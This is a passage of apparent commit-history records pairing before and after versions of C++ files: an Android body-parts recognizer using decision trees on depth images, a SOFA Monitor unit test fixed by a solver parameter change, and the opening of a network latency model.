= maxElementNoTie(Labels::NUM_LABELS, bins);\n\n        if (consensus == -1)\n        {\n          std::fill (bins, bins + Labels::NUM_LABELS, 0);\n          Depth d = depth_image.getDepth (x, y);\n\n          for (int off_x = -1; off_x <= 1; ++off_x)\n            for (int off_y = -1; off_y <= 1; ++off_y)\n            {\n              Depth off_d = depth_image.getDepth (x + off_x, y + off_y);\n\n              if (std::abs (d - off_d) < 50)\n                for (std::size_t ti = 0; ti < multi_labels.size (); ++ti)\n                  ++bins[multi_labels[ti][i]];\n            }\n\n          labels[i] = std::max_element (bins, bins + Labels::NUM_LABELS) - bins;\n        }\n        else\n        {\n          labels[i] = consensus;\n        }\n      }\n  }\n};\n\nvoid\nBodyPartsRecognizer::recognize(const RGBDImage & image, std::vector<Label> & labels)\n{\n  labels.clear ();\n  labels.resize (image.width * image.height);\n\n  DepthImage depth_image (image);\n\n  Stopwatch watch_threshold;\n\n  depth_image.applyThreshold (500);\n\n  __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Thresholding: %d ms\", watch_threshold.elapsedMs());\n\n  std::vector<std::vector<Label> > multi_labels (trees.size ());\n\n  for (std::size_t ti = 0; ti < trees.size (); ++ti)\n  {\n    Stopwatch watch_evaluation;\n\n    multi_labels[ti].resize (labels.size ());\n    trees[ti]->eval (depth_image, multi_labels[ti]);\n\n    __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Evaluating tree %d: %d ms\", ti, watch_evaluation.elapsedMs());\n  }\n\n  Stopwatch watch_consensus;\n\n#if 0\n  for (std::size_t i = 0; i < labels.size (); ++i)\n  {\n    int bins[Labels::NUM_LABELS] = { 0 };\n\n    for (std::size_t ti = 0; ti < trees.size (); ++ti)\n      ++bins[multi_labels[ti][i]];\n\n    int consensus = maxElementNoTie(Labels::NUM_LABELS, bins);\n\n    if (consensus == -1)\n    {\n      std::fill (bins, bins + Labels::NUM_LABELS, 0);\n      unsigned x = i % image.width, y = i \/ image.width;\n      Depth d = depth_image.getDepth (x, y);\n\n      for (int off_x = -1; off_x <= 1; ++off_x)\n        for (int off_y = -1; off_y <= 1; ++off_y)\n        {\n          Depth off_d = depth_image.getDepth (x + off_x, y + off_y);\n\n          if (std::abs (d - off_d) < 50)\n            for (std::size_t ti = 0; ti < trees.size (); ++ti)\n              ++bins[multi_labels[ti][i]];\n        }\n\n      labels[i] = std::max_element (bins, bins + Labels::NUM_LABELS) - bins;\n    }\n    else\n    {\n      labels[i] = consensus;\n    }\n  }\n#else\n  tbb::parallel_for(\n        tbb::blocked_range2d<unsigned>(0, depth_image.getHeight(), 0, depth_image.getWidth()),\n        ConsensusHelper(multi_labels, labels, depth_image)\n  );\n#endif\n\n  __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Finding consensus: %d ms\", watch_consensus.elapsedMs());\n}\n<commit_msg>Deleted more commented out chunks.<commit_after>#include <algorithm>\n#include <cstring>\n#include <limits>\n#include <memory>\n\n#include <android\/log.h>\n\n#include <boost\/format.hpp>\n#include <boost\/utility.hpp>\n\n#include <tbb\/blocked_range2d.h>\n#include <tbb\/parallel_for.h>\n#include <tbb\/task_scheduler_init.h>\n\n#include \"body_parts_recognizer.h\"\n#include \"gles_helper.h\"\n#include \"rgbd_image.h\"\n#include \"sources.h\"\n#include \"stopwatch.h\"\n\nconst Depth BACKGROUND_DEPTH = std::numeric_limits<Depth>::max();\n\nstruct DepthImage\n{\nprivate:\n\n  unsigned width, height;\n  std::vector<Depth> depths;\n\npublic:\n\n  DepthImage(const RGBDImage & image)\n    : width(image.width), height(image.height), depths(width * height)\n  {\n    for (std::size_t i = 0; i < depths.size(); ++i)\n      depths[i] = image.pixels[i].d == 0 ? BACKGROUND_DEPTH : image.pixels[i].d; \/\/ we consider 0 to be invalid depth\n  }\n\n  void\n  applyThreshold(int threshold)\n  {\n    Depth min_depth = *std::min_element(depths.begin (), depths.end ());\n\n    for (std::size_t i = 0; i < depths.size (); ++i)\n      depths[i] = depths[i] <= min_depth + threshold ? depths[i] : BACKGROUND_DEPTH;\n  }\n\n  Depth\n  getDepth(int x, int y) const\n  {\n    if (x < 0 || x >= int (width) || y < 0 || y >= int (height))\n      return BACKGROUND_DEPTH;\n\n    return depths[x + width * y];\n  }\n\n  unsigned getWidth() const { return width; }\n  unsigned getHeight() const { return height; }\n};\n\nstruct DecisionTreeCPU\n{\n  tbb::task_scheduler_init tbb_init;\n\n  struct Offsets\n  {\n    boost::int16_t du1, dv1, du2, dv2;\n  };\n\n  struct Node\n  {\n    Offsets offsets;\n    boost::int16_t threshold;\n  };\n\n  boost::uint16_t depth;\n  std::vector<Node> nodes;\n  std::vector<Label> leaves;\n\n  DecisionTreeCPU(const char * data)\n  {\n    std::memcpy (&depth, data, sizeof depth);\n    data += sizeof depth;\n\n    nodes.resize ((1 << depth) - 1);\n    std::memcpy (&nodes.front (), data, nodes.size () * sizeof (Node));\n    data += nodes.size () * sizeof (Node);\n\n    leaves.resize (1 << depth);\n    std::memcpy (&leaves.front (), data, leaves.size () * sizeof (Label));\n    data += leaves.size () * sizeof (Label);\n  }\n\n  Label\n  walk(const DepthImage & image, int x, int y) const\n  {\n    unsigned nid = 0;\n    Depth d0 = image.getDepth(x, y);\n    float scale = 1000.0f \/ d0;\n\n    for(int node_depth = 0; node_depth < depth; ++node_depth)\n    {\n      const Node & node = nodes[nid];\n\n      Depth d1 = image.getDepth (x + node.offsets.du1 * scale, y + node.offsets.dv1 * scale);\n      Depth d2 = image.getDepth (x + node.offsets.du2 * scale, y + node.offsets.dv2 * scale);\n\n      int feature = int (d1) - int (d2);\n\n      if (feature > node.threshold)\n        nid = nid * 2 + 2;\n      else\n        nid = nid * 2 + 1;\n    }\n\n    return leaves[nid - nodes.size()];\n  }\n\n  struct WalkHelper\n  {\n  private:\n    const DecisionTreeCPU & tree;\n    const DepthImage & image;\n    std::vector<Label> & labels;\n\n  public:\n    WalkHelper(const DecisionTreeCPU & tree, const DepthImage & image, std::vector<Label> & labels)\n      : tree(tree), image(image), labels(labels)\n    {\n    }\n\n    void\n    operator () (const tbb::blocked_range2d<unsigned> & range) const\n    {\n      for (unsigned y = range.rows().begin(); y < range.rows().end(); ++y)\n        for (unsigned x = range.cols().begin(); x < range.cols().end(); ++x)\n          labels[x + y * image.getWidth()] = image.getDepth(x, y) == BACKGROUND_DEPTH ?\n                Labels::Background : tree.walk(image, x, y);\n    }\n  };\n\n  void\n  eval(const DepthImage & image, std::vector<Label> & labels) const\n  {\n    tbb::parallel_for(\n          tbb::blocked_range2d<unsigned>(0, image.getHeight(), 0, image.getWidth()),\n          WalkHelper(*this, image, labels)\n    );\n  }\n};\n\n\nstruct DecisionTreeGPU : boost::noncopyable\n{\nprivate:\n  std::auto_ptr<GlesHelper> helper;\n  GLuint depth_image_tex, labels_tex;\n\npublic:\n  DecisionTreeGPU(const char * data)\n  {\n    const int tree_width = 2048;\n    boost::uint16_t tree_depth;\n    std::memcpy (&tree_depth, data, sizeof tree_depth);\n    data += sizeof tree_depth;\n    const int nodes_height = (1 << tree_depth) \/ tree_width;\n\n    const char * fs_source = reinterpret_cast<const char *> (source_tree_walk_fsh);\n    std::string fs_macros =\n        (boost::format(\"#define TREE_DEPTH %1%\\n#define NODES_HEIGHT %2%\\n\") % tree_depth % nodes_height).str();\n    std::vector<const char *> fs_sources;\n    fs_sources.push_back(fs_macros.c_str());\n    fs_sources.push_back(fs_source);\n\n    helper.reset(new GlesHelper(fs_sources));\n\n    std::vector<unsigned char> offsets1_buffer, offsets2_buffer, thresholds_buffer;\n    offsets1_buffer.resize(4 * tree_width * tree_width);\n    offsets2_buffer.resize(4 * tree_width * tree_width);\n    thresholds_buffer.resize(4 * tree_width * tree_width);\n\n    for (int i = 0; i < (1 << tree_depth) - 1; ++i)\n    {\n      std::memcpy(&offsets1_buffer[4 * i], data, 4);\n      std::memcpy(&offsets2_buffer[4 * i], data + 4, 4);\n      std::memcpy(&thresholds_buffer[4 * i], data + 8, 2);\n      data += 10;\n    }\n\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &offsets1_buffer.front()),\n          \"offsets1\");\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &offsets2_buffer.front()),\n          \"offsets2\");\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &thresholds_buffer.front()),\n          \"thresholds\");\n\n    std::vector<unsigned char> leaves_buffer(4 * tree_width * tree_width);\n\n    for (unsigned i = 0; i < (1 << 20); ++i)\n    {\n      std::memcpy(&leaves_buffer[4 * i], data, 1);\n      data += 1;\n    }\n\n    helper->bindTextureToUniform(\n          helper->addTexture(tree_width, tree_width, &leaves_buffer.front()),\n          \"leaves\");\n\n    depth_image_tex = helper->addTexture();\n    helper->bindTextureToUniform(depth_image_tex, \"depth_image\");\n\n    labels_tex = helper->addTexture();\n    helper->bindTextureToOutput(labels_tex);\n  }\n\n\n  void\n  eval(const DepthImage & image, std::vector<Label> & labels) const\n  {\n    std::vector<unsigned char> depth_image_buffer(4 * image.getWidth() * image.getHeight());\n\n    for (std::size_t i = 0; i < image.getWidth() * image.getHeight(); ++i)\n    {\n      Depth d = image.getDepth(i % image.getWidth(), i \/ image.getWidth());\n      *reinterpret_cast<Depth *> (&depth_image_buffer[4 * i]) = d;\n    }\n\n    helper->setTextureData(depth_image_tex,\n                           image.getWidth(), image.getHeight(), &depth_image_buffer.front());\n\n    helper->setTextureData(labels_tex,\n                           image.getWidth(), image.getHeight(), NULL);\n\n    helper->setUniform(\"image_width\", image.getWidth());\n    helper->setUniform(\"image_height\", image.getHeight());\n\n    std::vector<unsigned char> labels_buffer(depth_image_buffer.size());\n\n    helper->run(image.getWidth(), image.getHeight(), &labels_buffer.front());\n\n    for (std::size_t i = 0; i < image.getWidth() * image.getHeight(); ++i)\n      labels[i] = labels_buffer[4 * i];\n  }\n};\n\nint maxElementNoTie(int num, int * elements)\n{\n  int max_element = 0;\n  int max = elements[max_element];\n\n  for (int i = 1; i < num; ++i)\n  {\n    int val = elements[i];\n    if (max < val) { max_element = i; max = val; }\n    else if (max == val) { max_element = -1; }\n  }\n\n  return max_element;\n}\n\nBodyPartsRecognizer::BodyPartsRecognizer(std::size_t num_trees, const char * trees[])\n{\n  this->trees.resize(num_trees);\n\n  for (std::size_t i = 0; i < num_trees; ++i)\n    this->trees[i].reset(new Tree(trees[i]));\n}\n\nstruct ConsensusHelper\n{\nprivate:\n  const std::vector<std::vector<Label> > & multi_labels;\n  std::vector<Label> & labels;\n  const DepthImage & depth_image;\n\npublic:\n  ConsensusHelper(\n      const std::vector<std::vector<Label> > & multi_labels,\n      std::vector<Label> & labels,\n      const DepthImage & depth_image\n  )\n    : multi_labels(multi_labels), labels(labels), depth_image(depth_image)\n  {\n  }\n\n  void operator ()(const tbb::blocked_range2d<unsigned> & range) const\n  {\n    for (unsigned y = range.rows().begin(); y < range.rows().end(); ++y)\n      for (unsigned x = range.cols().begin(); x < range.cols().end(); ++x)\n      {\n        int bins[Labels::NUM_LABELS] = { 0 };\n        std::size_t i = x + y * depth_image.getWidth();\n\n        for (std::size_t ti = 0; ti < multi_labels.size (); ++ti)\n          ++bins[multi_labels[ti][i]];\n\n        int consensus = maxElementNoTie(Labels::NUM_LABELS, bins);\n\n        if (consensus == -1)\n        {\n          std::fill (bins, bins + Labels::NUM_LABELS, 0);\n          Depth d = depth_image.getDepth (x, y);\n\n          for (int off_x = -1; off_x <= 1; ++off_x)\n            for (int off_y = -1; off_y <= 1; ++off_y)\n            {\n              Depth off_d = depth_image.getDepth (x + off_x, y + off_y);\n\n              if (std::abs (d - off_d) < 50)\n                for (std::size_t ti = 0; ti < multi_labels.size (); ++ti)\n                  ++bins[multi_labels[ti][i]];\n            }\n\n          labels[i] = std::max_element (bins, bins + Labels::NUM_LABELS) - bins;\n        }\n        else\n        {\n          labels[i] = consensus;\n        }\n      }\n  }\n};\n\nvoid\nBodyPartsRecognizer::recognize(const RGBDImage & image, std::vector<Label> & labels)\n{\n  labels.clear ();\n  labels.resize (image.width * image.height);\n\n  DepthImage depth_image (image);\n\n  Stopwatch watch_threshold;\n\n  depth_image.applyThreshold (500);\n\n  __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Thresholding: %d ms\", watch_threshold.elapsedMs());\n\n  std::vector<std::vector<Label> > multi_labels (trees.size ());\n\n  for (std::size_t ti = 0; ti < trees.size (); ++ti)\n  {\n    Stopwatch watch_evaluation;\n\n    multi_labels[ti].resize (labels.size ());\n    trees[ti]->eval (depth_image, multi_labels[ti]);\n\n    __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Evaluating tree %d: %d ms\", ti, watch_evaluation.elapsedMs());\n  }\n\n  Stopwatch watch_consensus;\n\n  tbb::parallel_for(\n        tbb::blocked_range2d<unsigned>(0, depth_image.getHeight(), 0, depth_image.getWidth()),\n        ConsensusHelper(multi_labels, labels, depth_image)\n  );\n\n  __android_log_print(ANDROID_LOG_INFO, \"BPR\", \"Finding consensus: %d ms\", watch_consensus.elapsedMs());\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <SofaValidation\/Monitor.h>\nusing sofa::component::misc::Monitor;\n#include <SofaBaseMechanics\/MechanicalObject.h>\nusing sofa::component::container::MechanicalObject;\n#include <SofaTest\/Sofa_test.h>\n\n#include <SofaSimulationGraph\/DAGSimulation.h>\n#include <sofa\/simulation\/Simulation.h>\nusing sofa::core::objectmodel::BaseObject;\nusing sofa::simulation::Simulation;\nusing sofa::simulation::Node;\n\n#include <SofaSimulationCommon\/SceneLoaderXML.h>\nusing sofa::simulation::SceneLoaderXML;\nusing sofa::core::ExecParams;\n\n#include <fstream>\n#include <streambuf>\n#include <string>\n#include <cstdio>\n\nnamespace sofa\n{\nstruct MonitorTest : public Monitor<Rigid3>\n{\n    void testInit(MechanicalObject<Rigid3>* mo)\n    {\n        const Rigid3::VecCoord& i1 = *m_X;\n        const Rigid3::VecCoord& i2 = mo->x.getValue();\n\n        EXPECT_TRUE(i1.size() == i2.size());\n        for (size_t i = 0; i < i1.size(); ++i) EXPECT_EQ(i1[i], i2[i]);\n    }\n\n    void testModif(MechanicalObject<Rigid3>* mo)\n    {\n        helper::vector<unsigned int> idx = d_indices.getValue();\n        const Rigid3::VecCoord& i1 = *m_X;\n        const Rigid3::VecCoord& i2 = mo->x.getValue();\n        const Rigid3::VecDeriv& f1 = *m_F;\n        const Rigid3::VecDeriv& f2 = mo->f.getValue();\n        const Rigid3::VecDeriv& v1 = *m_V;\n        const Rigid3::VecDeriv& v2 = mo->v.getValue();\n\n        EXPECT_TRUE(idx.size() <= i2.size());\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(i1[idx[i]], i2[idx[i]]);\n\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(f1[idx[i]], f2[idx[i]]);\n\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(v1[idx[i]], v2[idx[i]]);\n    }\n};\n\nstruct Monitor_test : public sofa::Sofa_test<>\n{\n    sofa::simulation::Node::SPtr root;\n    sofa::simulation::SceneLoaderXML loader;\n    MonitorTest* monitor;\n    MechanicalObject<Rigid3>::SPtr mo;\n\n    Monitor_test() {}\n\n    void testInit()\n    {\n        \/\/ Checks that monitor gets the correct values at init\n        monitor->testInit(mo.get());\n    }\n\n    std::string readWholeFile(const std::string& fileName)\n    {\n        std::ifstream t(fileName);\n        std::string str;\n        EXPECT_TRUE(t.is_open());\n        t.seekg(0, std::ios::end);\n        str.reserve(t.tellg());\n        t.seekg(0, std::ios::beg);\n\n        str.assign((std::istreambuf_iterator<char>(t)),\n                   std::istreambuf_iterator<char>());\n        return str;\n    }\n\n    void testModif()\n    {\n        std::string str_x =\n                \"# Gnuplot File : positions of 1 particle(s) Monitored\\n# 1st Column : \"\n                \"time, others : particle(s) number 0 \\n1\t-3.5 -12.4182 -3.5 0 0 \"\n                \"0 1\t\\n2\t-3.5 -29.4438 -3.5 0 0 0 1\t\\n3\t-3.5 -53.8398 \"\n                \"-3.5 0 0 0 1\t\\n4\t-3.5 -84.9362 -3.5 0 0 0 1\t\\n5\t-3.5 \"\n                \"-122.124 -3.5 0 0 0 1\t\\n6\t-3.5 -164.849 -3.5 0 0 0 1\t\"\n                \"\\n7\t\"\n                \"-3.5 -212.608 -3.5 0 0 0 1\t\\n8\t-3.5 -264.944 -3.5 0 0 0 \"\n                \"1\t\"\n                \"\\n9\t-3.5 -321.44 -3.5 0 0 0 1\t\\n10\t-3.5 -381.718 -3.5 0 0 \"\n                \"0 1\t\\n\";\n        std::string str_f =\n                \"# Gnuplot File : forces of 1 particle(s) Monitored\\n# 1st Column : \"\n                \"time, others : particle(s) number 0 \\n1\t0 -0.363333 0 0 0 \"\n                \"0\t\"\n                \"\\n2\t0 -0.363333 0 0 0 0\t\\n3\t0 -0.363333 0 0 0 0\t\"\n                \"\\n4\t\"\n                \"0 -0.363333 0 0 0 0\t\\n5\t0 -0.363333 0 0 0 0\t\\n6\t0 \"\n                \"-0.363333 0 0 0 0\t\\n7\t0 -0.363333 0 0 0 0\t\\n8\t0 \"\n                \"-0.363333 0 0 0 0\t\\n9\t0 -0.363333 0 0 0 0\t\\n10\t0 \"\n                \"-0.363333 0 0 0 0\t\\n\";\n        std::string str_v =\n                \"# Gnuplot File : velocities of 1 particle(s) Monitored\\n# 1st Column \"\n                \": time, others : particle(s) number 0 \\n1\t0 -8.91818 0 0 0 \"\n                \"0\t\"\n                \"\\n2\t0 -17.0256 0 0 0 0\t\\n3\t0 -24.396 0 0 0 0\t\"\n                \"\\n4\t\"\n                \"0 -31.0964 0 0 0 0\t\\n5\t0 -37.1876 0 0 0 0\t\\n6\t0 \"\n                \"-42.7251 0 0 0 0\t\\n7\t0 -47.7592 0 0 0 0\t\\n8\t0 \"\n                \"-52.3356 0 0 0 0\t\\n9\t0 -56.496 0 0 0 0\t\\n10\t0 \"\n                \"-60.2782 0 0 0 0\t\\n\";\n\n        \/\/ make a few steps before checkinf if values are correctly updated in\n        \/\/ Monitor\n        for (int i = 0; i < 10; ++i)\n            simulation::getSimulation()->animate(root.get(), 1.0);\n\n        monitor->testModif(mo.get());\n\n        std::string s_x = readWholeFile(monitor->d_fileName.getFullPath() + \"_x.txt\");\n        std::string s_f = readWholeFile(monitor->d_fileName.getFullPath() + \"_f.txt\");\n        std::string s_v = readWholeFile(monitor->d_fileName.getFullPath() + \"_v.txt\");\n        EXPECT_EQ(s_x, str_x);\n        EXPECT_EQ(s_f, str_f);\n        EXPECT_EQ(s_v, str_v);\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_x.txt\").c_str());\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_f.txt\").c_str());\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_v.txt\").c_str());\n    }\n    void SetUp()\n    {\n        std::string scene =\n                \"<Node name='root' gravity='0 -9.81 0'>\"\n                \"<DefaultAnimationLoop\/>\"\n                \"<Node name='node'>\"\n                \"<EulerImplicit rayleighStiffness='0' printLog='false'\/>\"\n                \"<CGLinearSolver iterations='100' threshold='0.00000001' \"\n                \"tolerance='1e-5'\/>\"\n                \"<MeshGmshLoader name='loader' filename='mesh\/smCube27.msh' \"\n                \"createSubelements='true' \/>\"\n                \"<MechanicalObject template='Rigid3d' src='@loader' name='MO' \/>\"\n                \"<Monitor template='Rigid3d' name='monitor' listening='1' indices='0' \"\n                \"ExportPositions='true' ExportVelocities='true' ExportForces='true' \/>\"\n                \"<UniformMass totalmass='1' \/>\"\n                \"<\/Node>\"\n                \"<\/Node>\";\n\n        root = SceneLoaderXML::loadFromMemory(\"MonitorTest\", scene.c_str(),\n                                              scene.size());\n        root->init(sofa::core::ExecParams::defaultInstance());\n\n        std::string s = \"\/node\/monitor\";\n        Monitor<Rigid3>* ptr = NULL;\n        ptr = root->get<Monitor<Rigid3> >(s);\n        EXPECT_FALSE(ptr == NULL);\n\n        monitor = reinterpret_cast<MonitorTest*>(ptr);\n        EXPECT_FALSE(monitor == 0);\n\n        root->get<MechanicalObject<Rigid3> >(mo, \"\/node\/MO\");\n        EXPECT_FALSE(mo == 0);\n    }\n\n    void TearDown()\n    {\n    }\n};\n\n\/\/\/ Checks whether the video is well loaded and 1st frame retrieved at init()\nTEST_F(Monitor_test, testInit) { this->testInit(); }\nTEST_F(Monitor_test, testModif) { this->testModif(); }\n\n}  \/\/ namespace sofa\n<commit_msg>[SofaValidation] FIX Monitor_test failure<commit_after>#include <SofaValidation\/Monitor.h>\nusing sofa::component::misc::Monitor;\n#include <SofaBaseMechanics\/MechanicalObject.h>\nusing sofa::component::container::MechanicalObject;\n#include <SofaTest\/Sofa_test.h>\n\n#include <SofaSimulationGraph\/DAGSimulation.h>\n#include <sofa\/simulation\/Simulation.h>\nusing sofa::core::objectmodel::BaseObject;\nusing sofa::simulation::Simulation;\nusing sofa::simulation::Node;\n\n#include <SofaSimulationCommon\/SceneLoaderXML.h>\nusing sofa::simulation::SceneLoaderXML;\nusing sofa::core::ExecParams;\n\n#include <fstream>\n#include <streambuf>\n#include <string>\n#include <cstdio>\n\nnamespace sofa\n{\nstruct MonitorTest : public Monitor<Rigid3>\n{\n    void testInit(MechanicalObject<Rigid3>* mo)\n    {\n        const Rigid3::VecCoord& i1 = *m_X;\n        const Rigid3::VecCoord& i2 = mo->x.getValue();\n\n        EXPECT_TRUE(i1.size() == i2.size());\n        for (size_t i = 0; i < i1.size(); ++i) EXPECT_EQ(i1[i], i2[i]);\n    }\n\n    void testModif(MechanicalObject<Rigid3>* mo)\n    {\n        helper::vector<unsigned int> idx = d_indices.getValue();\n        const Rigid3::VecCoord& i1 = *m_X;\n        const Rigid3::VecCoord& i2 = mo->x.getValue();\n        const Rigid3::VecDeriv& f1 = *m_F;\n        const Rigid3::VecDeriv& f2 = mo->f.getValue();\n        const Rigid3::VecDeriv& v1 = *m_V;\n        const Rigid3::VecDeriv& v2 = mo->v.getValue();\n\n        EXPECT_TRUE(idx.size() <= i2.size());\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(i1[idx[i]], i2[idx[i]]);\n\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(f1[idx[i]], f2[idx[i]]);\n\n        for (size_t i = 0; i < idx.size(); ++i) EXPECT_EQ(v1[idx[i]], v2[idx[i]]);\n    }\n};\n\nstruct Monitor_test : public sofa::Sofa_test<>\n{\n    sofa::simulation::Node::SPtr root;\n    sofa::simulation::SceneLoaderXML loader;\n    MonitorTest* monitor;\n    MechanicalObject<Rigid3>::SPtr mo;\n\n    Monitor_test() {}\n\n    void testInit()\n    {\n        \/\/ Checks that monitor gets the correct values at init\n        monitor->testInit(mo.get());\n    }\n\n    std::string readWholeFile(const std::string& fileName)\n    {\n        std::ifstream t(fileName);\n        std::string str;\n        EXPECT_TRUE(t.is_open());\n        t.seekg(0, std::ios::end);\n        str.reserve(t.tellg());\n        t.seekg(0, std::ios::beg);\n\n        str.assign((std::istreambuf_iterator<char>(t)),\n                   std::istreambuf_iterator<char>());\n        return str;\n    }\n\n    void testModif()\n    {\n        std::string str_x =\n                \"# Gnuplot File : positions of 1 particle(s) Monitored\\n# 1st Column : \"\n                \"time, others : particle(s) number 0 \\n1\t-3.5 -12.4182 -3.5 0 0 \"\n                \"0 1\t\\n2\t-3.5 -29.4438 -3.5 0 0 0 1\t\\n3\t-3.5 -53.8398 \"\n                \"-3.5 0 0 0 1\t\\n4\t-3.5 -84.9362 -3.5 0 0 0 1\t\\n5\t-3.5 \"\n                \"-122.124 -3.5 0 0 0 1\t\\n6\t-3.5 -164.849 -3.5 0 0 0 1\t\"\n                \"\\n7\t\"\n                \"-3.5 -212.608 -3.5 0 0 0 1\t\\n8\t-3.5 -264.944 -3.5 0 0 0 \"\n                \"1\t\"\n                \"\\n9\t-3.5 -321.44 -3.5 0 0 0 1\t\\n10\t-3.5 -381.718 -3.5 0 0 \"\n                \"0 1\t\\n\";\n        std::string str_f =\n                \"# Gnuplot File : forces of 1 particle(s) Monitored\\n# 1st Column : \"\n                \"time, others : particle(s) number 0 \\n1\t0 -0.363333 0 0 0 \"\n                \"0\t\"\n                \"\\n2\t0 -0.363333 0 0 0 0\t\\n3\t0 -0.363333 0 0 0 0\t\"\n                \"\\n4\t\"\n                \"0 -0.363333 0 0 0 0\t\\n5\t0 -0.363333 0 0 0 0\t\\n6\t0 \"\n                \"-0.363333 0 0 0 0\t\\n7\t0 -0.363333 0 0 0 0\t\\n8\t0 \"\n                \"-0.363333 0 0 0 0\t\\n9\t0 -0.363333 0 0 0 0\t\\n10\t0 \"\n                \"-0.363333 0 0 0 0\t\\n\";\n        std::string str_v =\n                \"# Gnuplot File : velocities of 1 particle(s) Monitored\\n# 1st Column \"\n                \": time, others : particle(s) number 0 \\n1\t0 -8.91818 0 0 0 \"\n                \"0\t\"\n                \"\\n2\t0 -17.0256 0 0 0 0\t\\n3\t0 -24.396 0 0 0 0\t\"\n                \"\\n4\t\"\n                \"0 -31.0964 0 0 0 0\t\\n5\t0 -37.1876 0 0 0 0\t\\n6\t0 \"\n                \"-42.7251 0 0 0 0\t\\n7\t0 -47.7592 0 0 0 0\t\\n8\t0 \"\n                \"-52.3356 0 0 0 0\t\\n9\t0 -56.496 0 0 0 0\t\\n10\t0 \"\n                \"-60.2782 0 0 0 0\t\\n\";\n\n        \/\/ make a few steps before checkinf if values are correctly updated in\n        \/\/ Monitor\n        for (int i = 0; i < 10; ++i)\n            simulation::getSimulation()->animate(root.get(), 1.0);\n\n        monitor->testModif(mo.get());\n\n        std::string s_x = readWholeFile(monitor->d_fileName.getFullPath() + \"_x.txt\");\n        std::string s_f = readWholeFile(monitor->d_fileName.getFullPath() + \"_f.txt\");\n        std::string s_v = readWholeFile(monitor->d_fileName.getFullPath() + \"_v.txt\");\n        EXPECT_EQ(s_x, str_x);\n        EXPECT_EQ(s_f, str_f);\n        EXPECT_EQ(s_v, str_v);\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_x.txt\").c_str());\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_f.txt\").c_str());\n        std::remove(std::string(monitor->d_fileName.getFullPath() + \"_v.txt\").c_str());\n    }\n    void SetUp()\n    {\n        std::string scene =\n                \"<Node name='root' gravity='0 -9.81 0'>\"\n                \"<DefaultAnimationLoop\/>\"\n                \"<Node name='node'>\"\n                \"<EulerImplicit rayleighStiffness='0' printLog='false' rayleighMass='0.1'\/>\"\n                \"<CGLinearSolver iterations='100' threshold='0.00000001' \"\n                \"tolerance='1e-5'\/>\"\n                \"<MeshGmshLoader name='loader' filename='mesh\/smCube27.msh' \"\n                \"createSubelements='true' \/>\"\n                \"<MechanicalObject template='Rigid3d' src='@loader' name='MO' \/>\"\n                \"<Monitor template='Rigid3d' name='monitor' listening='1' indices='0' \"\n                \"ExportPositions='true' ExportVelocities='true' ExportForces='true' \/>\"\n                \"<UniformMass totalmass='1' \/>\"\n                \"<\/Node>\"\n                \"<\/Node>\";\n\n        root = SceneLoaderXML::loadFromMemory(\"MonitorTest\", scene.c_str(),\n                                              scene.size());\n        root->init(sofa::core::ExecParams::defaultInstance());\n\n        std::string s = \"\/node\/monitor\";\n        Monitor<Rigid3>* ptr = NULL;\n        ptr = root->get<Monitor<Rigid3> >(s);\n        EXPECT_FALSE(ptr == NULL);\n\n        monitor = reinterpret_cast<MonitorTest*>(ptr);\n        EXPECT_FALSE(monitor == 0);\n\n        root->get<MechanicalObject<Rigid3> >(mo, \"\/node\/MO\");\n        EXPECT_FALSE(mo == 0);\n    }\n\n    void TearDown()\n    {\n    }\n};\n\n\/\/\/ Checks whether the video is well loaded and 1st frame retrieved at init()\nTEST_F(Monitor_test, testInit) { this->testInit(); }\nTEST_F(Monitor_test, testModif) { this->testModif(); }\n\n}  \/\/ namespace sofa\n<|endoftext|>"}
{"text":"<commit_before>#include <math.h>\n#include <stdlib.h>\n\n#include \"network_model_analytical.h\"\n#include \"network_model_analytical_params.h\"\n#include \"message_types.h\"\n#include \"config.h\"\n#include \"core.h\"\n#include \"performance_model.h\"\n#include \"transport.h\"\n#include \"lock.h\"\n\n#define IS_NAN(x) (!((x < 0.0) || (x >= 0.0)))\n\nusing namespace std;\n\nNetworkModelAnalytical::NetworkModelAnalytical(Network *net, EStaticNetwork net_type)\n      : NetworkModel(net)\n      , _bytesSent(0)\n      , _cyclesProc(0)\n      , _cyclesLatency(0)\n      , _cyclesContention(0)\n      , _globalUtilization(0)\n      , _localUtilizationLastUpdate(0)\n      , _localUtilizationFlitsSent(0)\n      , m_enabled(true)\n{\n   getNetwork()->registerCallback(MCP_UTILIZATION_UPDATE_TYPE,\n                                  receiveMCPUpdate,\n                                  this);\n\n   \/\/ Create network parameters\n   m_params.Tw2 = 1; \/\/ single cycle between nodes in 2d mesh\n   m_params.s = 1; \/\/ single cycle switching time\n   m_params.n = 1; \/\/ 2-d mesh network\n   m_params.W = 32; \/\/ 32-bit wide channels\n   m_params.update_interval = 100000;\n   m_params.proc_cost = (net_type == STATIC_NETWORK_MEMORY) ? 0 : 100;\n}\n\nNetworkModelAnalytical::~NetworkModelAnalytical()\n{\n   getNetwork()->unregisterCallback(MCP_UTILIZATION_UPDATE_TYPE);\n}\n\nvoid NetworkModelAnalytical::routePacket(const NetPacket &pkt,\n      std::vector<Hop> &nextHops)\n{\n   \/\/ basic magic network routing, with two additions\n   \/\/ (1) compute latency of packet\n   \/\/ (2) update utilization\n\n   PerformanceModel *perf = getNetwork()->getCore()->getPerformanceModel();\n\n   Hop h;\n   h.dest = pkt.receiver;\n\n   UInt64 network_latency = computeLatency(pkt);\n   LOG_PRINT (\"Network Latency = %llu\", network_latency);\n   h.time = 